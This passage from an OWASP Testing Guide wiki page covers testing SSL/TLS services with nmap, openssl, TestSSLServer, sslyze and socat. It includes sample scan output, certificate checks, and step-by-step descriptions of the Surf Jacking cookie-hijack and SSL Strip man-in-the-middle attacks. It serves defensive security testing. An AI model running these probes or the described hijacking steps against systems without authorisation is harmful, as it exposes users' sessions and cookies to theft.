|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|   TLSv1.0: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|_  least strength: strong&lt;br /&gt;
995/tcp open  pop3s&lt;br /&gt;
| ssl-cert: Subject: commonName=*.exapmple.com&lt;br /&gt;
| Issuer: commonName=*******&lt;br /&gt;
| Public Key type: rsa&lt;br /&gt;
| Public Key bits: 2048&lt;br /&gt;
| Not valid before: 2010-01-23T00:00:00+00:00&lt;br /&gt;
| Not valid after:  2020-02-28T23:59:59+00:00&lt;br /&gt;
| MD5:   *******&lt;br /&gt;
|_SHA-1: *******&lt;br /&gt;
| ssl-enum-ciphers: &lt;br /&gt;
|   SSLv3: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|   TLSv1.0: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|_  least strength: strong&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====&lt;br /&gt;
openssl [30] can be used for testing manually SSL/TLS. In this example we try to initiate a renegotiation by client [m] connecting to server with openssl - writing the fist line of an HTTP request, in a new line typing “R”, waiting for renegotiaion and completing the HTTP request - and check if secure renegotiaion is supperted looking server output. Using manual request it is also possible to see if Compression is enabled for TLS in order to check for CRIME [13], check for ciphers and other vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ openssl s_client -connect www2.example.com:443&lt;br /&gt;
CONNECTED(00000003)&lt;br /&gt;
depth=2 ******&lt;br /&gt;
verify error:num=20:unable to get local issuer certificate&lt;br /&gt;
verify return:0&lt;br /&gt;
---&lt;br /&gt;
Certificate chain&lt;br /&gt;
 0 s:******&lt;br /&gt;
   i:******&lt;br /&gt;
 1 s:******&lt;br /&gt;
   i:******&lt;br /&gt;
 2 s:******&lt;br /&gt;
   i:******&lt;br /&gt;
---&lt;br /&gt;
Server certificate&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
******&lt;br /&gt;
-----END CERTIFICATE-----&lt;br /&gt;
subject=******&lt;br /&gt;
issuer=******&lt;br /&gt;
---&lt;br /&gt;
No client certificate CA names sent&lt;br /&gt;
---&lt;br /&gt;
SSL handshake has read 3558 bytes and written 640 bytes&lt;br /&gt;
---&lt;br /&gt;
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA&lt;br /&gt;
Server public key is 2048 bit&lt;br /&gt;
Secure Renegotiation IS NOT supported&lt;br /&gt;
Compression: NONE&lt;br /&gt;
Expansion: NONE&lt;br /&gt;
SSL-Session:&lt;br /&gt;
    Protocol  : TLSv1&lt;br /&gt;
    Cipher    : DES-CBC3-SHA&lt;br /&gt;
    Session-ID: ******&lt;br /&gt;
    Session-ID-ctx: &lt;br /&gt;
    Master-Key: ******&lt;br /&gt;
    Key-Arg   : None&lt;br /&gt;
    PSK identity: None&lt;br /&gt;
    PSK identity hint: None&lt;br /&gt;
    SRP username: None&lt;br /&gt;
    Start Time: ******&lt;br /&gt;
    Timeout   : 300 (sec)&lt;br /&gt;
    Verify return code: 20 (unable to get local issuer certificate)&lt;br /&gt;
---&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now we can write the first line of an HTTP request and then R in a new line.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HEAD / HTTP/1.1&lt;br /&gt;
R&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Server is renegotiating&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
RENEGOTIATING&lt;br /&gt;
depth=2 C******&lt;br /&gt;
verify error:num=20:unable to get local issuer certificate&lt;br /&gt;
verify return:0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
And we can complete our request, checking for response.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HEAD / HTTP/1.1&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator.  )&lt;br /&gt;
Connection: close&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Cache-Control: no-cache&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 1792  &lt;br /&gt;
&lt;br /&gt;
read:errno=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.&lt;br /&gt;
&lt;br /&gt;
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====&lt;br /&gt;
TestSSLServer [32] is a script which permits to check cipher suite and also BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS)  exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that sould be disabled. It is really interesting a first fix for BEAST was the usage of RC4, but this is discouraged due to a crypto-analytical attack to RC4 [15].&lt;br /&gt;
&lt;br /&gt;
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ java -jar TestSSLServer.jar www3.example.com 443&lt;br /&gt;
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2&lt;br /&gt;
Deflate compression: no&lt;br /&gt;
Supported cipher suites (ORDER IS NOT SIGNIFICANT):&lt;br /&gt;
  SSLv3&lt;br /&gt;
     RSA_WITH_RC4_128_SHA&lt;br /&gt;
     RSA_WITH_3DES_EDE_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_3DES_EDE_CBC_SHA&lt;br /&gt;
     RSA_WITH_AES_128_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_AES_128_CBC_SHA&lt;br /&gt;
     RSA_WITH_AES_256_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_AES_256_CBC_SHA&lt;br /&gt;
     RSA_WITH_CAMELLIA_128_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_CAMELLIA_128_CBC_SHA&lt;br /&gt;
     RSA_WITH_CAMELLIA_256_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_CAMELLIA_256_CBC_SHA&lt;br /&gt;
     TLS_RSA_WITH_SEED_CBC_SHA&lt;br /&gt;
     TLS_DHE_RSA_WITH_SEED_CBC_SHA&lt;br /&gt;
  (TLSv1.0: idem)&lt;br /&gt;
  (TLSv1.1: idem)&lt;br /&gt;
  TLSv1.2&lt;br /&gt;
     RSA_WITH_RC4_128_SHA&lt;br /&gt;
     RSA_WITH_3DES_EDE_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_3DES_EDE_CBC_SHA&lt;br /&gt;
     RSA_WITH_AES_128_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_AES_128_CBC_SHA&lt;br /&gt;
     RSA_WITH_AES_256_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_AES_256_CBC_SHA&lt;br /&gt;
     RSA_WITH_AES_128_CBC_SHA256&lt;br /&gt;
     RSA_WITH_AES_256_CBC_SHA256&lt;br /&gt;
     RSA_WITH_CAMELLIA_128_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_CAMELLIA_128_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_AES_128_CBC_SHA256&lt;br /&gt;
     DHE_RSA_WITH_AES_256_CBC_SHA256&lt;br /&gt;
     RSA_WITH_CAMELLIA_256_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_CAMELLIA_256_CBC_SHA&lt;br /&gt;
     TLS_RSA_WITH_SEED_CBC_SHA&lt;br /&gt;
     TLS_DHE_RSA_WITH_SEED_CBC_SHA&lt;br /&gt;
     TLS_RSA_WITH_AES_128_GCM_SHA256&lt;br /&gt;
     TLS_RSA_WITH_AES_256_GCM_SHA384&lt;br /&gt;
     TLS_DHE_RSA_WITH_AES_128_GCM_SHA256&lt;br /&gt;
     TLS_DHE_RSA_WITH_AES_256_GCM_SHA384&lt;br /&gt;
----------------------&lt;br /&gt;
Server certificate(s):&lt;br /&gt;
  ******&lt;br /&gt;
----------------------&lt;br /&gt;
Minimal encryption strength:     strong encryption (96-bit or more)&lt;br /&gt;
Achievable encryption strength:  strong encryption (96-bit or more)&lt;br /&gt;
BEAST status: vulnerable&lt;br /&gt;
CRIME status: protected&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Example 6.  Testing SSL/TLS vulnerabilities with sslyze====&lt;br /&gt;
sslyze [33] is a python script which permits also mass scan and XML output. Follows an example of a regular scan. Is one of the most complete and versatile tool for SSL/TLS testing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./sslyze.py --regular example.com:443&lt;br /&gt;
&lt;br /&gt;
 REGISTERING AVAILABLE PLUGINS&lt;br /&gt;
 -----------------------------&lt;br /&gt;
&lt;br /&gt;
  PluginHSTS&lt;br /&gt;
  PluginSessionRenegotiation&lt;br /&gt;
  PluginCertInfo&lt;br /&gt;
  PluginSessionResumption&lt;br /&gt;
  PluginOpenSSLCipherSuites&lt;br /&gt;
  PluginCompression&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 CHECKING HOST(S) AVAILABILITY&lt;br /&gt;
 -----------------------------&lt;br /&gt;
&lt;br /&gt;
  example.com:443                      =&amp;gt; 127.0.0.1:443&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443&lt;br /&gt;
 ---------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
  * Compression :&lt;br /&gt;
        Compression Support:      Disabled&lt;br /&gt;
&lt;br /&gt;
  * Session Renegotiation :&lt;br /&gt;
      Client-initiated Renegotiations:    Rejected&lt;br /&gt;
      Secure Renegotiation:               Supported&lt;br /&gt;
&lt;br /&gt;
  * Certificate :&lt;br /&gt;
      Validation w/ Mozilla's CA Store:  Certificate is NOT Trusted: unable to get local issuer certificate&lt;br /&gt;
      Hostname Validation:               MISMATCH                           &lt;br /&gt;
      SHA1 Fingerprint:                  ******&lt;br /&gt;
&lt;br /&gt;
      Common Name:                       www.example.com                     &lt;br /&gt;
      Issuer:                            ******&lt;br /&gt;
      Serial Number:                     ****                               &lt;br /&gt;
      Not Before:                        Sep 26 00:00:00 2010 GMT           &lt;br /&gt;
      Not After:                         Sep 26 23:59:59 2020 GMT   &lt;br /&gt;
       &lt;br /&gt;
      Signature Algorithm:               sha1WithRSAEncryption              &lt;br /&gt;
      Key Size:                          1024 bit                           &lt;br /&gt;
      X509v3 Subject Alternative Name:   {'othername': ['&amp;lt;unsupported&amp;gt;'], 'DNS': ['www.example.com']}&lt;br /&gt;
&lt;br /&gt;
  * OCSP Stapling :&lt;br /&gt;
      Server did not send back an OCSP response.                                   &lt;br /&gt;
&lt;br /&gt;
  * Session Resumption :&lt;br /&gt;
      With Session IDs:           Supported (5 successful, 0 failed, 0 errors, 5 total attempts).&lt;br /&gt;
      With TLS Session Tickets:   Supported&lt;br /&gt;
&lt;br /&gt;
  * SSLV2 Cipher Suites :&lt;br /&gt;
&lt;br /&gt;
      Rejected Cipher Suite(s): Hidden &lt;br /&gt;
&lt;br /&gt;
      Preferred Cipher Suite: None     &lt;br /&gt;
&lt;br /&gt;
      Accepted Cipher Suite(s): None   &lt;br /&gt;
&lt;br /&gt;
      Undefined - An unexpected error happened: None &lt;br /&gt;
&lt;br /&gt;
  * SSLV3 Cipher Suites :&lt;br /&gt;
&lt;br /&gt;
      Rejected Cipher Suite(s): Hidden &lt;br /&gt;
&lt;br /&gt;
      Preferred Cipher Suite:          &lt;br /&gt;
        RC4-SHA                       128 bits      HTTP 200 OK                        &lt;br /&gt;
&lt;br /&gt;
      Accepted Cipher Suite(s):        &lt;br /&gt;
        CAMELLIA256-SHA               256 bits      HTTP 200 OK                        &lt;br /&gt;
        RC4-SHA                       128 bits      HTTP 200 OK                        &lt;br /&gt;
        CAMELLIA128-SHA               128 bits      HTTP 200 OK                        &lt;br /&gt;
&lt;br /&gt;
      Undefined - An unexpected error happened: None &lt;br /&gt;
&lt;br /&gt;
  * TLSV1_1 Cipher Suites :&lt;br /&gt;
&lt;br /&gt;
      Rejected Cipher Suite(s): Hidden &lt;br /&gt;
&lt;br /&gt;
      Preferred Cipher Suite: None     &lt;br /&gt;
&lt;br /&gt;
      Accepted Cipher Suite(s): None   &lt;br /&gt;
&lt;br /&gt;
      Undefined - An unexpected error happened: &lt;br /&gt;
        ECDH-RSA-AES256-SHA             socket.timeout - timed out         &lt;br /&gt;
        ECDH-ECDSA-AES256-SHA           socket.timeout - timed out         &lt;br /&gt;
&lt;br /&gt;
  * TLSV1_2 Cipher Suites :&lt;br /&gt;
&lt;br /&gt;
      Rejected Cipher Suite(s): Hidden &lt;br /&gt;
&lt;br /&gt;
      Preferred Cipher Suite: None     &lt;br /&gt;
&lt;br /&gt;
      Accepted Cipher Suite(s): None   &lt;br /&gt;
&lt;br /&gt;
      Undefined - An unexpected error happened: &lt;br /&gt;
        ECDH-RSA-AES256-GCM-SHA384      socket.timeout - timed out         &lt;br /&gt;
        ECDH-ECDSA-AES256-GCM-SHA384    socket.timeout - timed out         &lt;br /&gt;
&lt;br /&gt;
  * TLSV1 Cipher Suites :&lt;br /&gt;
&lt;br /&gt;
      Rejected Cipher Suite(s): Hidden &lt;br /&gt;
&lt;br /&gt;
      Preferred Cipher Suite:          &lt;br /&gt;
        RC4-SHA                       128 bits      Timeout on HTTP GET                &lt;br /&gt;
&lt;br /&gt;
      Accepted Cipher Suite(s):        &lt;br /&gt;
        CAMELLIA256-SHA               256 bits      HTTP 200 OK                        &lt;br /&gt;
        RC4-SHA                       128 bits      HTTP 200 OK                        &lt;br /&gt;
        CAMELLIA128-SHA               128 bits      HTTP 200 OK                        &lt;br /&gt;
&lt;br /&gt;
      Undefined - An unexpected error happened: &lt;br /&gt;
        ADH-CAMELLIA256-SHA             socket.timeout - timed out         &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 SCAN COMPLETED IN 9.68 S&lt;br /&gt;
 ------------------------&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Testing SSL certificate validity – client and server===&lt;br /&gt;
Firstly upgrade your browser because also CA certs expire and, in every release of the browser, these are been renewed.&lt;br /&gt;
Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match namewise with the site to which they should refer. By clicking on the padlock which appears in the browser window when visiting an HTTPS site, you can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, you probably have installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. &lt;br /&gt;
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. &lt;br /&gt;
&lt;br /&gt;
Some tools, as in previous examples, check also for certificate validity.&lt;br /&gt;
&lt;br /&gt;
====Example 7. Testing for certificate validity (manually)====&lt;br /&gt;
Rather than providing a fictitious example, we have inserted an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. &lt;br /&gt;
The following screenshots refer to a regional site of a high-profile IT company. &lt;br /&gt;
&lt;br /&gt;
We are visiting an .it site and the certificate was issued to a .com site! Internet Explorer warns that the name on the certificate does not match the name of the site. &lt;br /&gt;
&lt;br /&gt;
[[Image:SSL Certificate Validity Testing IE Warning.gif]]&lt;br /&gt;
''Warning issued by Microsoft Internet Explorer''&lt;br /&gt;
&lt;br /&gt;
The message issued by Firefox is different – Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come preloaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.&lt;br /&gt;
&lt;br /&gt;
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]&lt;br /&gt;
''Warning issued by Mozilla Firefox''&lt;br /&gt;
&lt;br /&gt;
===Testing for other vulnerabilities===&lt;br /&gt;
As mentioned previously there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. A part from others discussed in other parts of the Guide, the another one is possible when the server provide the website both with the HTTP and HTTPS protocols, and permit to an attacker to force a victim into using a non-secure channel instead of a secure one.&lt;br /&gt;
&lt;br /&gt;
====Surf Jacking====&lt;br /&gt;
Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.&lt;br /&gt;
The following is a scenario of how the attack can take place:&lt;br /&gt;
&lt;br /&gt;
The following is a scenario of how the attack can take place:&lt;br /&gt;
* Victim logs into the secure website at https://somesecuresite/.&lt;br /&gt;
* The secure site issues a session cookie as the client logs in.&lt;br /&gt;
* While logged in, the victim opens a new browser window and goes to http:// examplesite/&lt;br /&gt;
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.&lt;br /&gt;
* The attacker sends back a &amp;quot;301 Moved Permanently&amp;quot; in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.&lt;br /&gt;
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing cookie in the HTTP header in clear text&lt;br /&gt;
* The attacker sees this traffic and logs the cookie for later (ab)use.&lt;br /&gt;
To test if a website is vulnerable is sufficient to proceed like follow:&lt;br /&gt;
# Check if website supports both HTTP and HTTPS protocol&lt;br /&gt;
# Check if cookies do not have the “Secure” flag&lt;br /&gt;
&lt;br /&gt;
====SSL Strip====&lt;br /&gt;
Often applications supports both HTTP and HTTPS. As for usability or because users do not use to type “https://www.example.com”. Often users go into an HTTPS website from link or a redirect. Typically also home banking site have a similar configuration with an iframed login or a form with action attribute over HTTPS but the page under HTTP.&lt;br /&gt;
An attacker in a privileged position - as described in SSL strip [8] - can incercept traffic when user is into HTTP and manipulate it to get a Man-In-The-Middle attack under HTTPS.&lt;br /&gt;
To test if application is vulnerable is sufficient the website supports both HTTP and HTTPS.&lt;br /&gt;
&lt;br /&gt;
===Testing via HTTP proxy===&lt;br /&gt;
&lt;br /&gt;
Inside corporate environment you can see services that are not directly accessible and you can access them only via HTTP proxy using CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to desired tcp port in order to start SSL/TLS handshake. With the help of relaying software such as socat [37] you can re-enable those tools for use with services behind HTTP proxy.&lt;br /&gt;
&lt;br /&gt;
====Example 8. Testing via HTTP proxy==== &lt;br /&gt;
&lt;br /&gt;
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then you can target all other tools to localhost:9999:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ openssl s_client -connect localhost:9999&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Testing for Weak SSL/TSL Cipher Suites===&lt;br /&gt;
Check the configuration of the web servers which provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. &lt;br /&gt;
&lt;br /&gt;
====Example 9. Windows Server==== &lt;br /&gt;
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:&lt;br /&gt;
&amp;lt;pre&amp;gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\&amp;lt;/pre&amp;gt;&lt;br /&gt;
which has some sub-keys like Ciphers, Protocols and KeyExchangeAlgorithms.&lt;br /&gt;
&lt;br /&gt;
====Example 10: Apache====&lt;br /&gt;
To check the cipher suites and protocols supported by Apache2 web server open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.&lt;br /&gt;
&lt;br /&gt;
===Testing SSL certificate validity – client and server===&lt;br /&gt;
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level; however, there may be additional communication paths protected by SSL (for example, towards the DBMS). You should check the application architecture to identify all SSL protected channels.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)]&lt;br /&gt;
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management_(OWASP-CM-003)]&lt;br /&gt;
* [6] [OWASP Testing |https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)][Guide - Testing for Missing HSTS header (OTG-CONFIG-009)|https://www.owasp.org/index.php/Testing_for_Missing_HSTS_header]&lt;br /&gt;
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|https://www.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-007)&amp;amp;action=edit&amp;amp;redlink=1]&lt;br /&gt;
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)]&lt;br /&gt;
* [9] [OWASP Testing Guide - Test Content Security Policy (OTG-CONFIG-008)|https://www.owasp.org/index.php/Testing_for_Content_Security_Policy_weakness]&lt;br /&gt;
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]&lt;br /&gt;
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]&lt;br /&gt;
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]&lt;br /&gt;
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]&lt;br /&gt;
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]&lt;br /&gt;
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]&lt;br /&gt;
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]&lt;br /&gt;
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]&lt;br /&gt;
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]&lt;br /&gt;
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]&lt;br /&gt;
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]&lt;br /&gt;
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]&lt;br /&gt;
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]&lt;br /&gt;
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]&lt;br /&gt;
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]&lt;br /&gt;
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]&lt;br /&gt;
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]&lt;br /&gt;
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]&lt;br /&gt;
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]&lt;br /&gt;
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]&lt;br /&gt;
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* [21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner&lt;br /&gt;
* [27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.&lt;br /&gt;
* [32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST&lt;br /&gt;
* [33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.&lt;br /&gt;
* [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.&lt;br /&gt;
* [29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.&lt;br /&gt;
* [31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.&lt;br /&gt;
* [30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services&lt;br /&gt;
* [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)&lt;br /&gt;
* [37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay&lt;br /&gt;
&lt;br /&gt;
    &lt;br /&gt;
&lt;br /&gt;
[[Category:Cryptographic Vulnerability]]&lt;br /&gt;
[[Category:SSL]]&lt;/div&gt;</summary>
		<author><name>Tomas Zatko</name></author>	</entry>

	</feed>